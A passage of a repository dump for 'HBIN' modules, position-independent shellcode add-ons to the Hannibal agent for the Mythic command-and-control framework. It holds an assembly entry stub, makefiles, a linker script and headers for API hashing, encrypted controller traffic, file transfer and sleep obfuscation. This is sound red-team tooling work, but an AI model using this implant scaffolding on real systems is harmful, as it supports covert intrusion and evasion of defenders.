240 | 20 -14 6 -25 18 -25 26 0 7 -8 20 -17 27 -29 24 -73 91 -73 112 0 17 2 18 16
241 | 6 18 -15 46 -18 55 -6 3 4 25 -10 50 -31 84 -73 141 -105 191 -108 41 -3 45
242 | -1 41 15 -3 10 0 22 6 25 5 4 8 13 4 21 -3 8 0 15 6 15 6 0 11 10 10 23 0 21
243 | -1 21 -9 2 -7 -16 -9 -17 -9 -3 -1 9 5 21 13 25 15 9 28 63 15 63 -5 0 -9 5
244 | -9 11 0 5 5 7 10 4 6 -3 10 5 10 19 0 14 -5 28 -10 31 -6 4 -7 11 -4 17 4 6
245 | 10 5 16 -3 6 -10 7 -7 3 9 -14 48 -13 73 1 68 16 -6 19 10 4 19 -5 3 -10 16
246 | -10 28 0 18 2 20 11 7 9 -12 10 -11 6 8 -3 13 0 22 6 22 7 0 5 5 -3 10 -13 9
247 | -13 11 -1 19 17 11 22 80 7 100 -8 11 -8 13 1 8 17 -10 28 13 12 24 -10 6 -11
248 | 9 -1 9 6 0 12 5 12 11 0 5 -4 7 -10 4 -5 -3 -10 3 -10 14 0 11 5 23 12 27 7 4
249 | 8 3 4 -4 -4 -7 -2 -12 3 -12 15 0 14 30 -1 31 -10 0 -10 2 0 6 6 2 12 14 11
250 | 26 0 21 -1 21 -9 2 -7 -16 -9 -17 -9 -3 -1 9 3 19 8 22 4 3 7 18 5 33 -4 23
251 | -3 24 4 8 8 -18 9 -17 14 7 4 19 1 25 -9 21 -10 -4 -10 1 2 23 17 33 19 48 6
252 | 40 -4 -3 -1 10 8 29 21 45 45 47 37 3 -3 -18 -30 -229 -61 -468 -30 -239 -59
253 | -450 -64 -467 -9 -32 -8 -33 17 -27 39 10 42 13 42 40 0 24 0 24 103 24 56 -1
254 | 154 -7 217 -14 68 -8 125 -9 138 -4 27 9 45 2 36 -15 -4 -7 -3 -8 1 -4 12 10
255 | 15 38 4 31 -5 -3 -9 174 -9 440 0 248 4 446 9 446 5 0 11 14 15 31 3 17 10 28
256 | 16 24 6 -4 10 -183 10 -516z m-156 -1214 c25 -29 94 -55 145 -55 40 0 126 29
257 | 162 54 50 35 58 2 15 -57 -53 -73 -189 -96 -273 -48 -24 14 -43 29 -43 35 0 5
258 | -3 6 -7 2 -11 -10 -41 55 -35 76 6 24 11 23 36 -7z"/>
259 | <path d="M3098 5478 c-15 -18 -18 -19 -18 -5 0 22 -9 21 -30 -3 l-18 -21 -15
260 | 21 c-12 18 -18 19 -48 9 -19 -7 -38 -16 -44 -22 -7 -7 -5 -7 5 -2 13 8 13 6 1
261 | -8 -7 -9 -17 -14 -22 -12 -4 3 -7 -4 -6 -15 1 -14 6 -19 17 -15 9 3 8 -1 -4
262 | -10 -11 -8 -14 -15 -8 -15 7 0 12 -7 12 -15 0 -8 9 -15 20 -15 15 0 22 9 27
263 | 30 5 25 8 28 20 18 11 -9 19 -9 33 0 11 7 33 9 51 5 25 -5 35 -2 46 12 11 16
264 | 13 16 13 3 0 -9 -7 -23 -15 -31 -13 -13 -13 -16 0 -21 8 -3 17 -1 20 4 11 18
265 | 33 115 29 122 -10 16 -49 7 -66 -14z"/>
266 | </g>
267 | </svg>
268 | 


--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
 1 | ![Hannibal](Hannibal.svg)
 2 | 
 3 | HBINS are mini versions of [Hannibal](https://github.com/silentwarble/Hannibal), to be used with Hannibal. Instead of the usual BOF/COFF files we are using a PIC .bin.
 4 | 
 5 | See the article [Making Mini Monsters](https://silentwarble.com/posts/making-mini-monsters/) for a deeper dive.
 6 | 
 7 | ## Installation
 8 | 
 9 | You will need make, MingW, and Python installed to build these. See the [Making Monsters](https://silentwarble.com/posts/making-monsters-1/#installation) installation section. It is the same for HBINs.
10 | 
11 | Simply clone the repo, invoke the appropriate makefile ```make -f windows_makefile```, and use execute_hbin in Mythic to upload bin/hannibal.bin.
12 | 
13 | ## Note
14 | 
15 | - These have not been extensively tested. They are functional, but need much more testing before being considered Op worthy.
16 | - The debug process for these is different from Hannibal. A TODO is to get a standalone debug build working for these, but currently that is not supported. Use x64dbg or similar. 


--------------------------------------------------------------------------------
/asm/x64/stub_wrapper.asm:
--------------------------------------------------------------------------------
 1 | [BITS 64]
 2 | 
 3 | DEFAULT REL
 4 | 
 5 | EXTERN hbin_main
 6 | 
 7 | GLOBAL Start
 8 | GLOBAL StRipStart
 9 | GLOBAL StRipEnd
10 | GLOBAL GetInStruct
11 | GLOBAL ___chkstk_ms
12 | 
13 | [SECTION .text$STUB]
14 |     
15 |     Start:
16 |         push  rsi
17 |         mov   rsi, rsp
18 |         and   rsp, 0FFFFFFFFFFFFFFF0h
19 |         sub   rsp, 020h
20 |         call  hbin_main
21 |         mov   rsp, rsi
22 |         pop   rsi
23 |         ret
24 | 
25 |     StRipStart:
26 |         call StRipPtrStart
27 |         ret
28 | 
29 |     StRipPtrStart:
30 |         mov	rax, [rsp]
31 |         sub rax, 0x1b         
32 |         ret           
33 | 
34 |     GetInStruct:
35 |         call StRipStart ;; Get start of agent       
36 |         sub rax, 8      ;; Go backwards 8 bytes
37 |         ret             ;; Return a ptr to a ptr to the input struct
38 | 
39 |     ___chkstk_ms:
40 |         ret
41 | 
42 | [SECTION .text$E]
43 | 
44 |     StRipEnd:
45 |         call StRetPtrEnd
46 |         ret
47 | 
48 |     StRetPtrEnd:
49 |         mov rax, [rsp]
50 |         add	rax, 0xb  
51 |         ret           
52 | 
53 | [SECTION .text$P]
54 |    
55 |     SymHannibalEnd:
56 |         db 'H', 'A', 'N', 'N', 'I', 'B', 'A', 'L', '-', 'E', 'N', 'D'
57 | 


--------------------------------------------------------------------------------
/bin/obj/.gitkeep:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/silentwarble/hbin_template/b00d99798f6638d7b01eb20e7904d80383111158/bin/obj/.gitkeep


--------------------------------------------------------------------------------
/debug_makefile:
--------------------------------------------------------------------------------
 1 | # Generates an exe with all debugging symbols on for easy stepping.
 2 | 
 3 | # TODO: Not tested with HBINs yet.
 4 | 
 5 | #---------- Performance  ----------#
 6 | 
 7 | # MAKEFLAGS += -s -j1
 8 | MAKEFLAGS += -s -j$(NUMBER_OF_PROCESSORS)
 9 | 
10 | #---------- Project Settings  ----------#
11 | 
12 | PROJECT := hannibal
13 | CC_X64	:= x86_64-w64-mingw32-g++
14 | 
15 | #---------- Compiler Flags  ----------#
16 | 
17 | DEBUG_CFLAGS := -O0 -Iinclude -D DEBUG_BUILD -D PROFILE_MYTHIC_HTTP
18 | DEBUG_CFLAGS += -fpermissive -Wunknown-pragmas -Wignored-qualifiers -w
19 | 
20 | #---------- Linker Flags  ----------#
21 | 
22 | DEBUG_LDFLAGS = -g -m64
23 | 
24 | #---------- Paths ----------#
25 | 
26 | SRC_DIR := src
27 | OBJ_DIR := bin/obj
28 | BIN_DIR := bin
29 | SRC_FILES := $(wildcard $(SRC_DIR)/*.c)
30 | OBJ_FILES := $(SRC_FILES:$(SRC_DIR)/%.c=$(OBJ_DIR)/%.o)
31 | 
32 | # This makefile creates a normal .exe, so the stub_wrapper and hannibal_initialize.c can't be part of this build.
33 | SRC_FILES_DEBUG := $(filter-out src/hannibal_initialize.c, $(SRC_FILES))
34 | OBJ_FILES_DEBUG := $(SRC_FILES_DEBUG:$(SRC_DIR)/%.c=$(OBJ_DIR)/%.o)
35 | 
36 | #---------- Targets ----------#
37 | 
38 | all: $(BIN_DIR)/$(PROJECT).exe
39 | 
40 | $(BIN_DIR)/$(PROJECT).exe: clean $(OBJ_FILES_DEBUG)
41 | 	@ echo "[+] Linking x64 Executable"
42 | 	@ $(CC_X64) bin/obj/*.o -o $(BIN_DIR)/$(PROJECT).exe $(DEBUG_CFLAGS) $(DEBUG_LDFLAGS)
43 | 	@ del /q bin\obj\*.o 2>nul
44 | 
45 | $(OBJ_DIR)/%.o: $(SRC_DIR)/%.c 
46 | 	@echo "[+] Compiling $? -> $@"
47 | 	@ $(CC_X64) -o $@ -c  $? $(DEBUG_CFLAGS) $(DEBUG_LDFLAGS)
48 | 
49 | #---------- Utility ----------#
50 | 
51 | clean:
52 | 	@ del /q bin\obj\*.o 2>nul
53 | 	@ del /q bin\obj\*.s 2>nul
54 | 	@ del /q bin\obj\*.ii 2>nul
55 | 	@ del /q bin\*.bin 2>nul
56 | 
57 | print:
58 | 	@echo "SRC_FILES_DEBUG: $(SRC_FILES_DEBUG)"
59 | 	@echo "SRC_FILES: $(SRC_FILES)"
60 | 	@echo "OBJ_FILES: $(OBJ_FILES)"
61 | 	@echo "OBJ_FILES_DEBUG: $(OBJ_FILES_DEBUG)"


--------------------------------------------------------------------------------
/include/hannibal.h:
--------------------------------------------------------------------------------
  1 | #ifndef HANNIBAL_H
  2 | #define HANNIBAL_H
  3 | 
  4 | // Note: The order of the includes matters.
  5 | #include <Native.h>
  6 | #include <windows.h>
  7 | #include <winsock2.h>
  8 | #include <ws2tcpip.h>
  9 | #include <iphlpapi.h>
 10 | #include <iptypes.h>
 11 | #include <tlhelp32.h>
 12 | #include <psapi.h>
 13 | #include <wininet.h>
 14 | #include <stdint.h>
 15 | 
 16 | #include "utility_strings.h"
 17 | #include "utility_winapi_function_resolution.h"
 18 | #include "utility_serialization.h"
 19 | #include "utility_memory.h"
 20 | #include "hannibal_tasking.h"
 21 | 
 22 | 
 23 | // HBIN INPUT
 24 | typedef struct _HBIN_IN {
 25 |     LPVOID args;
 26 |     int arg_size;
 27 |     LPVOID hannibal_instance;
 28 |     char *controller_uuid;
 29 | } HBIN_IN;
 30 | 
 31 | #define CONCURRENT_FILE_DOWNLOADS 5 
 32 | #define CONCURRENT_FILE_UPLOADS 5 
 33 | #define FILE_DOWNLOAD_CHUNK_SIZE 512000 // Bytes. Agent > Controller
 34 | #define FILE_UPLOAD_CHUNK_SIZE 512000 // Bytes. Controller > Agent
 35 | 
 36 | #define ENCRYPT_KEY_SIZE 32 // AES keysize
 37 | #define LOCAL_ENCRYPT_KEY_SIZE 16 // Randomly generated each run for sleep or heap encryption. 16 bytes to work with Ekko.
 38 | 
 39 | #define PTR_OF_TYPE( x )  __typeof__( x ) * x;
 40 | #define SECTION_CODE __attribute__( ( section( ".text$CODE" ) ) )
 41 | #define SECTION_GLOBAL   __attribute__( ( section( ".global" ) ) )
 42 | #define SECTION_RDATA __attribute__( ( section( ".rdata" ) ) )
 43 | 
 44 | typedef struct _BUFFER {
 45 |     PVOID Buffer;
 46 |     ULONG Length;
 47 | } BUFFER, *PBUFFER;
 48 | 
 49 | #ifdef PIC_BUILD
 50 | EXTERN_C ULONG __Instance_offset;
 51 | EXTERN_C PVOID __Instance;
 52 | 
 53 | EXTERN_C PVOID StRipStart();
 54 | EXTERN_C PVOID StRipEnd();
 55 | EXTERN_C PVOID GetInStruct();
 56 | 
 57 | EXTERN_C VOID hbin_main(
 58 |     _In_ PVOID Param
 59 | );
 60 | 
 61 | #endif
 62 | 
 63 | typedef struct
 64 | {
 65 |     DWORD	Length;
 66 |     DWORD	MaximumLength;
 67 |     PVOID	Buffer;
 68 | } USTRING;
 69 | 
 70 | typedef struct
 71 | { // Tracking file downloads. Agent > Mythic
 72 |     LPCSTR task_uuid;
 73 |     LPCSTR download_uuid;
 74 |     LPCWSTR path;
 75 |     UINT64 bytes_sent;
 76 |     UINT32 chunks_sent;
 77 |     UINT32 chunk_count;
 78 |     UINT64 filesize;
 79 | } FILE_DOWNLOAD;
 80 | 
 81 | typedef struct
 82 | { // Tracking file uploads. Mythic > Agent
 83 |     LPCSTR task_uuid;
 84 |     LPCSTR upload_uuid;
 85 |     LPCWSTR path;
 86 |     UINT64 bytes_received;
 87 |     UINT32 chunks_received;
 88 |     UINT32 chunk_count;
 89 |     UINT64 filesize;
 90 | } FILE_UPLOAD;
 91 | 
 92 | 
 93 | typedef struct _TASK_QUEUE TASK_QUEUE;
 94 | typedef struct _TASK_ENTRY TASK_ENTRY;
 95 | 
 96 | typedef struct _INSTANCE {
 97 | 
 98 |     BUFFER Base;
 99 | 
100 |     struct {
101 | 
102 |         // Ntdll.dll
103 |         PTR_OF_TYPE( RtlRandomEx )
104 |         PTR_OF_TYPE( NtCreateEvent )
105 |         PTR_OF_TYPE( RtlAllocateHeap )
106 |         PTR_OF_TYPE( RtlCreateTimerQueue )
107 |         PTR_OF_TYPE( NtProtectVirtualMemory )
108 |         PTR_OF_TYPE( RtlCreateTimer )
109 |         PTR_OF_TYPE( RtlRegisterWait ) 
110 |         PTR_OF_TYPE( RtlCaptureContext )
111 |         PTR_OF_TYPE( NtSetEvent )
112 |         PTR_OF_TYPE( NtContinue )
113 |         PTR_OF_TYPE( NtClose )
114 |         PTR_OF_TYPE( NtSignalAndWaitForSingleObject )
115 |         PTR_OF_TYPE( RtlDeleteTimerQueue )
116 |         PTR_OF_TYPE( NtQueryInformationProcess )
117 |         PTR_OF_TYPE( RtlExitUserThread )
118 |         
119 | 
120 |         // Kernel32.dll
121 |         PTR_OF_TYPE( Sleep )
122 |         PTR_OF_TYPE( FindClose )
123 |         PTR_OF_TYPE( ExitProcess )
124 |         PTR_OF_TYPE( VirtualFree )
125 |         PTR_OF_TYPE( VirtualAlloc )
126 |         PTR_OF_TYPE( VirtualProtect )
127 |         PTR_OF_TYPE( LoadLibraryA )
128 |         PTR_OF_TYPE( GetLastError )
129 |         PTR_OF_TYPE( FindNextFileW )
130 |         PTR_OF_TYPE( DeleteFileW )
131 |         PTR_OF_TYPE( RemoveDirectoryW )
132 |         PTR_OF_TYPE( GetTickCount )
133 |         PTR_OF_TYPE( FindFirstFileW )
134 |         PTR_OF_TYPE( CreateProcessW )
135 |         PTR_OF_TYPE( OpenProcess )
136 |         PTR_OF_TYPE( WaitForSingleObject )
137 |         PTR_OF_TYPE( CreateTimerQueueTimer )
138 |         PTR_OF_TYPE( CreateEventW )
139 |         PTR_OF_TYPE( CreateTimerQueue )
140 |         PTR_OF_TYPE( SetEvent )
141 |         PTR_OF_TYPE( DeleteTimerQueue )
142 |         PTR_OF_TYPE( GetProcAddress )
143 |         PTR_OF_TYPE( GetFileAttributesW )
144 |         PTR_OF_TYPE( CreateFileW )
145 |         PTR_OF_TYPE( GetFileSizeEx )
146 |         PTR_OF_TYPE( SetFilePointer )
147 |         PTR_OF_TYPE( ReadFile )
148 |         PTR_OF_TYPE( CloseHandle )
149 |         PTR_OF_TYPE( WriteFile )
150 |         PTR_OF_TYPE( CopyFileW )
151 |         PTR_OF_TYPE( MoveFileExW )
152 |         PTR_OF_TYPE( Process32FirstW )
153 |         PTR_OF_TYPE( Process32NextW )
154 |         PTR_OF_TYPE( IsWow64Process )
155 |         PTR_OF_TYPE( CreateDirectoryW )
156 |         PTR_OF_TYPE( GetLogicalDrives )
157 |         PTR_OF_TYPE( GetComputerNameExW )
158 |         PTR_OF_TYPE( GetModuleFileNameW )
159 |         PTR_OF_TYPE( GetDiskFreeSpaceExW )
160 |         PTR_OF_TYPE( GetCurrentProcessId )
161 |         PTR_OF_TYPE( SetCurrentDirectoryW )
162 |         PTR_OF_TYPE( FileTimeToSystemTime )
163 |         PTR_OF_TYPE( SystemTimeToFileTime )
164 |         PTR_OF_TYPE( GetCurrentDirectoryW )
165 |         PTR_OF_TYPE( WaitForSingleObjectEx )
166 |         PTR_OF_TYPE( GetVolumeInformationW )
167 |         PTR_OF_TYPE( CreateToolhelp32Snapshot )
168 |         PTR_OF_TYPE( NtSetInformationVirtualMemory )
169 |         
170 | 
171 |         // User32.dll
172 |         PTR_OF_TYPE( MessageBoxA )
173 |         PTR_OF_TYPE( MessageBoxW )
174 | 
175 | 
176 |         // Wininet.dll
177 |         PTR_OF_TYPE( InternetOpenW );
178 |         PTR_OF_TYPE( InternetConnectW );
179 |         PTR_OF_TYPE( HttpOpenRequestW );
180 |         PTR_OF_TYPE( HttpSendRequestW );    
181 |         PTR_OF_TYPE( InternetReadFile );  
182 |         PTR_OF_TYPE( InternetSetOptionW );
183 |         PTR_OF_TYPE( InternetCloseHandle ); 
184 |         PTR_OF_TYPE( InternetQueryOptionW ); 
185 | 
186 | 
187 |         // Advapi32.dll
188 |         NTSTATUS ( WINAPI* SystemFunction032 ) ( USTRING* data, USTRING* key );
189 |         PTR_OF_TYPE( OpenProcessToken );
190 |         PTR_OF_TYPE( LookupAccountSidW );
191 |         PTR_OF_TYPE( GetSidSubAuthority );
192 |         PTR_OF_TYPE( GetTokenInformation );
193 |         PTR_OF_TYPE( LookupPrivilegeValueW );
194 |         PTR_OF_TYPE( AdjustTokenPrivileges );
195 | 
196 |         
197 |         // Bcrypt.dll
198 |         PTR_OF_TYPE( BCryptGenRandom );
199 |         PTR_OF_TYPE( BCryptOpenAlgorithmProvider );
200 |         PTR_OF_TYPE( BCryptCloseAlgorithmProvider );
201 | 
202 | 
203 |         // Iphlpapi.dll
204 |         PTR_OF_TYPE( GetAdaptersAddresses ); // Note: The order of the includes matters.
205 | 
206 | 
207 |         // Ws2_32.dll
208 |         PTR_OF_TYPE( InetNtopW ); 
209 | 
210 |     } Win32;
211 | 
212 |     struct {
213 |         PVOID Ntdll;
214 |         PVOID Kernel32;
215 |         PVOID User32;
216 |         PVOID WinInet;
217 |         PVOID Advapi32;
218 |         PVOID Bcrypt;
219 |         PVOID Iphlpapi;
220 |         PVOID Ws2_32;
221 |     } Modules;
222 | 
223 |     struct {
224 | 
225 |         // Core 
226 |         UINT32 sleep;
227 |         UINT32 jitter;
228 |         CHAR *uuid;
229 |         BOOL checked_in;
230 | 
231 |         // HTTP
232 |         WCHAR *controller_host;
233 |         WCHAR *http_method;
234 |         WCHAR *user_agent;
235 |         WCHAR *controller_url;
236 | 
237 |         // Encryption
238 |         CHAR *encrypt_key; // Used in the AES encrypted comms between the controller and agent
239 |         UINT32 encrypt_key_size;
240 |         CHAR *decrypt_key;
241 |         UINT32 decrypt_key_size;
242 |         CHAR *local_encryption_key; // Randomly generated each run for sleep or heap encryption.
243 |         CHAR *local_encryption_key_size; 
244 | 
245 |     } config;
246 | 
247 |     struct {
248 | 
249 |         TASK_QUEUE *tasks_queue; // From controller
250 |         TASK_QUEUE *tasks_response_queue; // To controller
251 |         TASK_ENTRY *task_func_ptrs; // Array of function ptrs pointing to commands
252 |         UINT32 task_func_ptrs_size; // How many function ptrs
253 | 
254 |         UINT32 download_count; // How many files are being downloaded concurrently
255 |         FILE_DOWNLOAD *file_downloads; // Array tracking which files are being downloaded
256 | 
257 |         UINT32 upload_count; // How many files are being uploaded concurrently
258 |         FILE_UPLOAD *file_uploads; // Array tracking which files are being uploaded
259 | 
260 |     } tasks;
261 | 
262 | } INSTANCE, *PINSTANCE;
263 | 
264 | 
265 | /**
266 |  * This is what retrieve the struct that contains the instance ptr and arg buffer.
267 |  * It is in the same allocated memory section as this HBIN, just 8 bytes before it.
268 |  */
269 | #ifdef PIC_BUILD
270 | #define HANNIBAL_INSTANCE_PTR PINSTANCE hannibal_instance_ptr = (*(HBIN_IN **)(GetInStruct()))->hannibal_instance;
271 | #else
272 | #define HANNIBAL_INSTANCE_PTR extern PINSTANCE hannibal_instance_ptr;
273 | #endif
274 | 
275 | 
276 | #endif
277 | 
278 | 
279 | 


--------------------------------------------------------------------------------
/include/hannibal_tasking.h:
--------------------------------------------------------------------------------
 1 | #ifndef HANNIBAL_TASKING_H
 2 | #define HANNIBAL_TASKING_H
 3 | 
 4 | #include <windows.h>
 5 | #include "utility_strings.h"
 6 | 
 7 | #define TASK_CIRCULAR_QUEUE_SIZE 10
 8 | #define TASK_RESPONSE_CIRCULAR_QUEUE_SIZE 10
 9 | 
10 | #ifdef PIC_BUILD
11 | #define FUNC_OFFSET( x ) ((UINT_PTR)StRipStart() + (DWORD)&x)
12 | #else
13 | #define FUNC_OFFSET( x ) (&x)
14 | #endif
15 | 
16 | 
17 | /////////////////////// Task Structures
18 | 
19 | typedef struct _TASK {
20 |     char *task_uuid; // Tracking on the controller
21 |     int cmd_id; // Identify specific function to execute
22 |     int timestamp;
23 |     void *cmd;
24 |     LPCSTR output;
25 |     int output_size;
26 | } TASK, *PTASK;
27 | 
28 | typedef struct _TASK_QUEUE {
29 |     int front;
30 |     int rear;
31 |     int size; // How many tasks in queue
32 |     int capacity; // How many tasks can it hold
33 |     TASK *queue_ptr;
34 | } TASK_QUEUE, *PTASK_QUEUE;
35 | 
36 | typedef struct _TASK_ENTRY {
37 |     int cmd_id;
38 |     (*cmd_ptr)(TASK t);
39 | } TASK_ENTRY;
40 | 
41 | 
42 | BOOL task_enqueue(TASK_QUEUE *queue_struct, TASK *TASK);
43 | BOOL task_dequeue(TASK_QUEUE *queue_struct, TASK *TASK);
44 | 
45 | #endif


--------------------------------------------------------------------------------
/include/utility_memory.h:
--------------------------------------------------------------------------------
 1 | #ifndef UTILITY_MACROS_H
 2 | #define UTILITY_MACROS_H
 3 | 
 4 | #include "hannibal.h"
 5 | 
 6 | // TODO: Implement these and don't use builtins
 7 | #define pic_memset  __stosb
 8 | #define pic_free __builtin_free
 9 | #define pic_realloc __builtin_realloc
10 | #define pic_RtlSecureZeroMemory RtlSecureZeroMemory
11 | 
12 | void *pic_memcpy(void* dest, const void* src, size_t n);
13 | 
14 | INT MemCompare( PVOID s1, PVOID s2, INT len);
15 | 
16 | #endif // UTILITY_MACROS_H


--------------------------------------------------------------------------------
/include/utility_serialization.h:
--------------------------------------------------------------------------------
 1 | #ifndef UTILITY_SERIALIZATION_H
 2 | #define UTILITY_SERIALIZATION_H
 3 | 
 4 | #include "hannibal.h"
 5 | 
 6 | 
 7 | void WriteUint8(UINT8 **buffer, UINT8 value);
 8 | void WriteUint32(UINT8 **buffer, UINT32 value);
 9 | void WriteUint64(UINT8 **buffer, UINT64 value);
10 | 
11 | void WriteString(UINT8 **buffer, const char *str, BOOL include_null);
12 | void WriteStringW(UINT8 **buffer, const wchar_t *wstr, BOOL include_null);
13 | 
14 | void WriteBytes(UINT8 **buffer, const char *str, int size);
15 | 
16 | UINT8 ReadUint8(UINT8 **buffer);
17 | UINT32 ReadUint32(UINT8 **buffer);
18 | 
19 | UINT8* ReadBytes(UINT8 **buffer, UINT32 length);
20 | 
21 | char* ReadString(UINT8 **buffer, UINT32 length);
22 | wchar_t* ReadStringW(UINT8 **buffer, UINT32 length);
23 | 
24 | #endif


--------------------------------------------------------------------------------
/include/utility_strings.h:
--------------------------------------------------------------------------------
 1 | #ifndef UTILITY_STRINGS_H
 2 | #define UTILITY_STRINGS_H
 3 | 
 4 | #include "hannibal.h"
 5 | 
 6 | 
 7 | #define H_MAGIC_KEY       5381
 8 | #define H_MAGIC_SEED      5
 9 | #define H_MODULE_NTDLL    0x70e61753
10 | #define H_MODULE_KERNEL32 0xadd31df0
11 | 
12 | 
13 | #ifdef  __cplusplus
14 | #define CONSTEXPR         constexpr
15 | #else
16 | #define CONSTEXPR
17 | #endif
18 | 
19 | #define HASH_STR( x ) ExprHashStringA( ( x ) )
20 | 
21 | CONSTEXPR ULONG ExprHashStringA(
22 |     _In_ PCHAR String
23 | ) {
24 |     ULONG Hash = { 0 };
25 |     CHAR  Char = { 0 };
26 | 
27 |     Hash = H_MAGIC_KEY;
28 | 
29 |     if ( ! String ) {
30 |         return 0;
31 |     }
32 | 
33 |     while ( ( Char = *String++ ) ) {
34 |         /* turn current character to uppercase */
35 |         if ( Char >= 'a' ) {
36 |             Char -= 0x20;
37 |         }
38 | 
39 |         Hash = ( ( Hash << H_MAGIC_SEED ) + Hash ) + Char;
40 |     }
41 | 
42 |     return Hash;
43 | }
44 | 
45 | 
46 | ULONG HashString(
47 |     _In_ PVOID  String,
48 |     _In_ SIZE_T Length
49 | );
50 | 
51 | size_t pic_strlen(const char *str);
52 | size_t pic_strlenW(const wchar_t *wstr);
53 | 
54 | char *pic_strcpy(char* dest, const char* src);
55 | int pic_strcmp(const char *str1, const char *str2);
56 | int pic_strcmpW(const wchar_t *wstr1, const wchar_t *wstr2);
57 | int pic_strncmp(const char *s1, const char *s2, size_t n);
58 | 
59 | char *pic_strncpy(char *dest, const char *src, size_t n);
60 | 
61 | void pic_strcat(char *str1, char *str2);
62 | void pic_strcatW(wchar_t *wstr1, wchar_t *wstr2);
63 | 
64 | void dword_to_wchar(DWORD value, WCHAR* buffer, int base);
65 | void ulong_to_wchar(ULONG64 value, WCHAR *buffer);
66 | 
67 | #endif // UTILITY_STRINGS_H
68 | 


--------------------------------------------------------------------------------
/include/utility_winapi_function_resolution.h:
--------------------------------------------------------------------------------
 1 | #ifndef UTILITY_WINAPI_FUNCTION_RESOLUTION_H
 2 | #define UTILITY_WINAPI_FUNCTION_RESOLUTION_H
 3 | 
 4 | #include "hannibal.h"
 5 | 
 6 | 
 7 | PVOID get_module_ptr_from_peb(
 8 |     _In_ ULONG Hash
 9 | );
10 | 
11 | PVOID get_func_ptr_from_module_eat(
12 |     _In_ PVOID Module,
13 |     _In_ ULONG Function
14 | );
15 | 
16 | #endif // UTILITY_WINAPI_FUNCTION_RESOLUTION_H
17 | 


--------------------------------------------------------------------------------
/linux_makefile:
--------------------------------------------------------------------------------
 1 | # Generates a fully position independent .bin
 2 | 
 3 | # Haven't tested this yet for making hbins.
 4 | 
 5 | #---------- Performance  ----------#
 6 | 
 7 | # First build is the longest, after that it's incremental.
 8 | # MAKEFLAGS += -s -j1
 9 | MAKEFLAGS += -s -j$(shell nproc)
10 | 
11 | #---------- Project Settings  ----------#
12 | 
13 | PROJECT := hannibal
14 | CC_X64	:= x86_64-w64-mingw32-g++
15 | 
16 | #---------- Compiler Flags  ----------#
17 | 
18 | # https://gcc.gnu.org/onlinedocs/gcc/Code-Gen-Options.html
19 | # https://gcc.gnu.org/onlinedocs/gcc/Cygwin-and-MinGW-Options.html
20 | # https://forum.tinycorelinux.net/index.php/topic,26375.0.html
21 | 
22 | CFLAGS := -Os -fno-asynchronous-unwind-tables -nostdlib 
23 | CFLAGS += -nolibc
24 | 
25 | # Not supported on MingW 12: -nostdlib++
26 | 
27 | CFLAGS += -fno-exceptions # Makes the .eh_frame ld message go away
28 | CFLAGS += -fno-ident -fpack-struct=8 -falign-functions=1
29 | CFLAGS += -s -ffunction-sections -falign-jumps=1 -w
30 | CFLAGS += -falign-labels=1 -fPIC
31 | CFLAGS += -Iinclude -masm=intel -fpermissive -mrdrnd
32 | CFLAGS += -D PIC_BUILD -D PROFILE_MYTHIC_HTTP
33 | 
34 | #---------- Linker Flags  ----------#
35 | 
36 | LDFLAGS := -Wl,-Tscripts/Linker.ld
37 | LDFLAGS += -Wl,-s,--no-seh,--enable-stdcall-fixup
38 | 
39 | #---------- Paths ----------#
40 | 
41 | ASM_DIR := asm/x64
42 | SRC_DIR := src
43 | OBJ_DIR := bin/obj
44 | BIN_DIR := bin
45 | SRC_FILES := $(wildcard $(SRC_DIR)/*.c)
46 | OBJ_FILES := $(SRC_FILES:$(SRC_DIR)/%.c=$(OBJ_DIR)/%.o)
47 | ASM_FILES := $(wildcard $(ASM_DIR)/*.asm)
48 | ASM_OBJ_FILES := $(ASM_FILES:asm/x64/%.asm=bin/obj/%.o)
49 | 
50 | #---------- Targets ----------#
51 | 
52 | all: $(BIN_DIR)/$(PROJECT).exe
53 | 
54 | $(BIN_DIR)/$(PROJECT).exe: $(ASM_OBJ_FILES) $(OBJ_FILES)
55 | 	@ echo "[+] Linking x64 Executable"
56 | 	@$(CC_X64) bin/obj/*.o -o $(BIN_DIR)/$(PROJECT).exe $(CFLAGS) $(LDFLAGS)
57 | 	@python scripts/build.py -f $(BIN_DIR)/$(PROJECT).exe -o $(BIN_DIR)/$(PROJECT).bin
58 | 	@rm -f "$(BIN_DIR)\$(PROJECT).exe"
59 | 	@rm -rf bin/obj/*.o 
60 | 
61 | $(OBJ_DIR)/%.o: $(SRC_DIR)/%.c
62 | 	@echo "[+] Compiling $? -> $@"
63 | 	@$(CC_X64) -o $@ -c  $? $(CFLAGS) $(LDFLAGS)
64 | 
65 | $(ASM_OBJ_FILES): $(OBJ_DIR)/%.o: asm/x64/%.asm
66 | 	@echo "[+] Assembling $? -> $@"
67 | 	@nasm -f win64 $? -o $@
68 | 
69 | #---------- Utility ----------#
70 | 
71 | clean:
72 | 	@rm -rf bin/obj/*.o 
73 | 	@rm -rf bin/obj/*.s
74 | 	@rm -rf bin/obj/*.ii
75 | 	@rm -rf bin/*.bin
76 | 	@rm -rf bin/*.exe
77 | 
78 | print:
79 | 	@echo "SRC_FILES: $(SRC_FILES)"
80 | 	@echo "OBJ_FILES: $(OBJ_FILES)"
81 | 	@echo "ASM_FILES: $(ASM_FILES)"
82 | 	@echo "ASM_OBJ_FILES": $(ASM_OBJ_FILES)"


--------------------------------------------------------------------------------
/scripts/Linker.ld:
--------------------------------------------------------------------------------
 1 | LINK_BASE = 0x0000;
 2 | 
 3 | ENTRY( Start )
 4 | 
 5 | SECTIONS
 6 | {
 7 |     . = LINK_BASE;
 8 |     .text : {
 9 |         . = LINK_BASE;
10 |         *( .text$STUB );
11 |         *( .text$CODE );
12 |         *( .rdata* );
13 |         *( .global );
14 |         *( .text$E );
15 |         *( .text$P );
16 |     }
17 | 
18 |     .eh_frame : {
19 |         *( .eh_frame )
20 |     }
21 | }


--------------------------------------------------------------------------------
/scripts/build.py:
--------------------------------------------------------------------------------
 1 | #!/usr/bin/env python3
 2 | # -*- coding:utf-8 -*-
 3 | 
 4 | import pefile
 5 | import argparse
 6 | 
 7 | HANNIBAL_END : bytes = b'HANNIBAL-END'
 8 | PAGE_SIZE    : int   = 0x1000
 9 | 
10 | def size_to_pages( size: int ) -> int:
11 |     PAGE_MASK       : int = 0xfff
12 |     BASE_PAGE_SHIFT : int = 12
13 | 
14 |     return ( size >> BASE_PAGE_SHIFT ) + ( ( size & PAGE_MASK ) != 0 )
15 | 
16 | ##
